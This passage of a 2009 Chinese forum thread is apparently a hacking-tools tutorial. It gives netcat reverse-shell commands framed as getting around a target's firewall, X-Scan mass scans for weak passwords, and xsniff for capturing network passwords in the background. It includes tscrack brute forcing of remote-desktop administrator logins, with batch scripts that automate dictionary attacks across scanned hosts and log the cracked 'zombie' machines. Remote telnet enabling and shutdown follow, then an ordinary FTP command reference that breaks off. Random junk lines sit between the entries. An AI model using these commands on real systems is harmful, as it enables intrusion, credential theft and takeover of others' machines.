6 h1 t# g! O% C; I, ^+ }$ Z
本机上用:nc -l -p 本机端口
! W0 |- g+ y" B# g$ j4 s- |
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
" t, y3 ?+ O' C
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
& y2 C/ s3 L" Q
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
' v. M, j: X: B/ U
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
# A+ k, f: V0 o8 j7 T
备 注:
0 |1 K2 L1 N& A2 K$ B' [! b
| 管道命令
+ y' x) B2 f9 Q8 V3 R' I9 o
< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
0 d! f$ q+ k) h( I9 H/ P- X( j
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:winnt >> d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中
9 \( s! n, \( H9 b
>与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。
, p& \' b) O. f: X% d, T0 w
如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。
% S2 Y- C8 d6 T& b: q
作者:
秋风舞落叶
时间:
2009-5-4 09:37
八:
! x/ m+ f6 O w i! s5 |/ ?' ?" f
2、扫锚工具:xscan.exe
- L- N1 g3 N! a" ]5 [2 Z3 k& l
基本格式
+ ]# d! N \+ ^- }! O& L7 c8 L0 j
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
6 L2 v. a, e5 S, e6 \/ {
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
* f" Q3 {& U2 I) q; d7 J
检测项目
+ I& {' P- k: d4 `/ H! }, k! T
-active 检测主机是否存活
8 c2 S3 Q# f/ ]8 |) c' I4 s- Y& z
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
/ i3 e: s3 k T" _
-port 检测常用服务的端口状态
) J; z+ v U3 h- w+ g
-ftp 检测FTP弱口令
& c) F7 O; u& d! \, W$ a# `
-pub 检测FTP服务匿名用户写权限
& r. k1 s* U; b8 a/ ]' l
-pop3 检测POP3-Server弱口令
# Y8 e0 ]( f/ o& D$ Z
-smtp 检测SMTP-Server漏洞
* x$ F7 J% I5 q% q+ _4 y
-sql 检测SQL-Server弱口令
: a( M: Y6 L: ~, V
-smb 检测NT-Server弱口令
* u) L, @3 ]" S: N% i
-iis 检测IIS编码/解码漏洞
; O$ G& e' |% H( ?3 B7 e: i8 x! }( f8 Z# ?
-cgi 检测CGI漏洞
! i) D F4 P H$ U/ ~7 Z
-nasl 加载Nessus攻击脚本
4 h' ]; {- {; }, p/ M* w9 }7 a
-all 检测以上所有项目
/ C' _ o, Y$ C& d
其它选项
8 s" e0 x( s% n q
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
1 q) _6 L. M8 }) i
-l 显示所有网络适配器
+ S! S/ m2 p$ l' I$ S ^5 J
-v 显示详细扫描进度
1 E5 g$ f% c3 V0 R. t3 \6 a' n
-p 跳过没有响应的主机
& _, k5 A4 f& S. }+ t
-o 跳过没有检测到开放端口的主机
6 \, K5 b7 X( X. x V
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
) L/ ^5 j. @* e+ K0 g4 T
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
9 {1 f- K- D) w
用法示例
' @" _% }; D3 t/ N' i$ ]1 R2 @4 A
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
. o6 T' a: d Z/ @
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
7 A. ~! Z/ n. a7 U
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机
f' s: }0 y/ u9 p# K, C1 X* P
作者:
秋风舞落叶
时间:
2009-5-4 09:38
九:
' Y% Y# _2 a+ b2 @3 G
3、命令行方式嗅探器: xsniff.exe
8 x( U) `6 h5 R% [
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
$ ~/ c" k* t* M7 _, A& y
参数说明
+ n" U9 h! g- s
-tcp 输出TCP数据报
* A6 X$ M. J8 }/ @1 A1 q$ N
-udp 输出UDP数据报
; g& k9 B7 c( ^% h- j6 L+ {- E
-icmp 输出ICMP数据报
( J4 r1 X2 G1 J& n
-pass 过滤密码信息
# v* `3 H3 q* T; p
-hide 后台运行
( ]) B0 r& n. W" @6 D' C3 O
-host 解析主机名
! ?* Z( |' Q6 d* [+ a# x/ i
-addr IP地址 过滤IP地址
" H9 H, y5 Q+ y( n4 [& ]+ @& ~
-port 端口 过滤端口
5 E' L! y& B& P, l
-log 文件名 将输出保存到文件
2 C% q. r" _! Z! w2 o, D9 H! b
-asc 以ASCII形式输出
$ q Q$ y0 w8 L. X! _$ T
-hex 以16进制形式输出
& G, G: M' ~* V7 L
用法示例
7 E( y) @( d0 }. [; n
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
- j2 o5 t4 v, v( t
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出
! U3 t) p! _' [& B6 X6 {7 V9 {7 M- |
4、终端服务密码破解: tscrack.exe
& T0 Z0 V* {# i2 g
参数说明
% D6 m) W, x$ z5 C6 ]& C }
-h 显示使用帮助
" `. b3 n' V; d6 f# w. Z5 H
-v 显示版本信息
& t! ^+ B0 ?( a& s- a* L+ `# T! H B8 o
-s 在屏幕上打出解密能力
2 d0 x) V6 ^/ J5 D
-b 密码错误时发出的声音
: `/ t3 E: F; B! J& U
-t 同是发出多个连接(多线程)
! }* u$ D# o3 X: ^# f/ f! O' @
-N Prevent System Log entries on targeted server
( d+ H1 B/ e' [
-U 卸载移除tscrack组件
+ B) {% D8 G! J' V/ v! `8 }6 R
-f 使用-f后面的密码
, a7 f n; z* b; Q% b- u
-F 间隔时间(频率)
$ u7 e; M8 c0 T1 R. a3 s
-l 使用-l后面的用户名
2 f7 G9 R. r9 f0 V% \
-w 使用-w后面的密码字典
: W# K! [8 f. {
-p 使用-p后面的密码
2 B" {* @2 y! h8 R w: w( J, _$ S
-D 登录主页面
) b6 O9 z4 K) i
用法示例
. Z% [# n, w* i6 s
tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的admi
: ?+ g8 U2 k; F+ V! k
nistrator的登陆密码
: N3 B6 K; f% k
tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户
$ k& e' k; b2 ^$ {4 x, \) l
@if not exist ipcscan.txt goto noscan
5 ?3 | J a: g
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
6 Y/ \/ ]7 K" M- x8 P. n
nscan
7 f' M7 @1 g5 F0 E
@echo 3389.txt no find or scan faild
6 q$ T* r5 z' Q. J9 U
(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)
- `9 M, d4 _+ q9 c% B/ R9 y- U
3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
( ?3 [8 m8 h5 w! y( s
@if not exist tscrack.exe goto noscan
' j& ~, M* R* Z U
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
* M! J# m: ]/ j5 u0 q: G5 e: Y" w7 C' j' A
:noscan
/ }) z) @ J: H4 V; ^- Q# l" G
@echo tscrack.exe no find or scan faild
, R& H& y$ H7 ^8 d$ ?3 n9 l5 N
(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
6 g" [; ^9 w7 S6 |) x$ A- C% l
hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。
4 e7 L# k1 a' x* y* T/ B
5、其它:
C- T, k$ A, e0 M
Shutdown.exe
* p4 E4 Q9 u* `
Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
& D; F+ Z* X$ f2 M$ m" `
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
, M' `' \; k8 V7 l
fpipe -l 80 -s 1029 -r 80
www.sina.com.cn
当有人扫锚你的80端口时,他扫到的结果会完全是
www.sina.com.cn
的主机信息
; w. u* \( @; Z* Z0 v. p
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
. ^; Q+ S3 I. a- C! S" s
OpenTelnet.exe (远程开启telnet工具)
6 W) n4 f3 k, u4 T! W
opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。
2 L3 ]' b. A, A& n2 i+ i
NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。
+ J5 w! |7 x* S- @* A d
ResumeTelnet.exe (OpenTelnet附带的另一个工具)
) d6 D- A, w/ H* C% L
resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。
2 m" F7 g G5 [
作者:
秋风舞落叶
时间:
2009-5-4 09:38
十:
. f5 `5 ?7 z( @% }( W
6、FTP命令详解:
+ o9 a! ^' v" o# k
FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。
( P& @) i" X0 a% u& D
FTP的命令行格式为:
5 t! J3 W3 a6 }. {1 s
ftp -v -d -i -n -g [主机名] ,其中
' H# D8 W( h" V; C
-v 显示远程服务器的所有响应信息
8 y! w, y, {: r3 w
-n 限制ftp的自动登录,即不使用;.n etrc文件;
" U- Q0 C3 E: u K3 \9 \
-d 使用调试方式;
6 k' Z' w1 e# i
-g 取消全局文件名。
b# G* P* r/ E' D0 i" T
FTP使用的内部命令如下(中括号表示可选项):
, r5 b5 v* v: F
1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
+ \- m5 V9 }- O6 `) _
2.$ macro-ame[args]: 执行宏定义macro-name。
' l3 b4 s- H4 F+ y
3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
+ D U9 I: W6 i; Q8 _
4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。
' U9 m5 X- D: D) V
5.ascii:使用ascii类型传输方式。
( h e& t7 i1 m$ ?$ R7 L
6.bell:每个命令执行完毕后计算机响铃一次。
8 Y6 V. ]9 S# X6 W
7.bin:使用二进制文件传输方式。
2 h. X# ^: k1 ^
8.bye:退出ftp会话过程。
$ ~* H3 I0 G( }
9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
% b- v2 w" I" H( Z u$ C
10.cd remote-dir:进入远程主机目录。
/ w# Q7 I: j( e! V5 D
11.cdup:进入远程主机目录的父目录。
: f; u. {+ J9 u
12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。
$ R1 o/ ?" [: W' o& {) X" r
13.close:中断与远程服务器的ftp会话(与open对应)。
7 \1 \4 S3 ?; T4 M
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。
8 |' x$ M2 H2 i
15.delete remote-file:删除远程主机文件。
8 S& [* P/ H# J( ~( t! J
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。
$ U! e: u4 f( r
17.dir[remote-dir][local-file]:显示远程主机目
欢迎光临 下沙论坛 (http://bbs.xiasha.cn/)
Powered by Discuz! X3.3